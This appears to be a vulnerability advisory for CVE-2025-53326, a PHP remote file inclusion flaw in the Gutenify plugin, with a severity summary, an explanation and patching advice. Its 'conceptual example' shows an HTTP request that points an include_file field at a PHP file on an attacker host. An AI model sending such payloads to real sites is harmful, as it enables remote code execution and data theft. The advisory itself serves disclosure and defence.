Overview
The CVE-2025-53326 is a cybersecurity vulnerability found within the CodeYatri Gutenify PHP program. This vulnerability, a form of PHP Remote File Inclusion (RFI), allows an attacker to include and execute a remote file. Given the severity of this issue, it can lead to system compromise and data leakage, making it a critical concern for users and administrators of Gutenify versions up to 1.5.6.
Vulnerability Summary
CVE ID: CVE-2025-53326
Severity: High (7.5 CVSS v3.0 Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage
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Product | Affected Versions
CodeYatri Gutenify | Up to 1.5.6
How the Exploit Works
RFI vulnerabilities, such as CVE-2025-53326, occur when an application includes a file from a remote server that it should not trust. In the case of Gutenify, an attacker can manipulate the ‘include’ or ‘require’ statements in the PHP program to include PHP files from a remote server. This allows them to execute arbitrary code and potentially compromise the system or leak data.
Conceptual Example Code
Consider the following conceptual example of an HTTP request exploiting the vulnerability:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://attacker.com/malicious.php" }In this scenario, `malicious.php` is a PHP file hosted on the attacker’s server. When the request is processed by the target server, the PHP code within `malicious.php` is executed, potentially leading to system compromise or data leakage.
Mitigation
To mitigate the effects of the CVE-2025-53326 vulnerability, users and administrators are urged to apply the latest patch provided by the vendor. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts.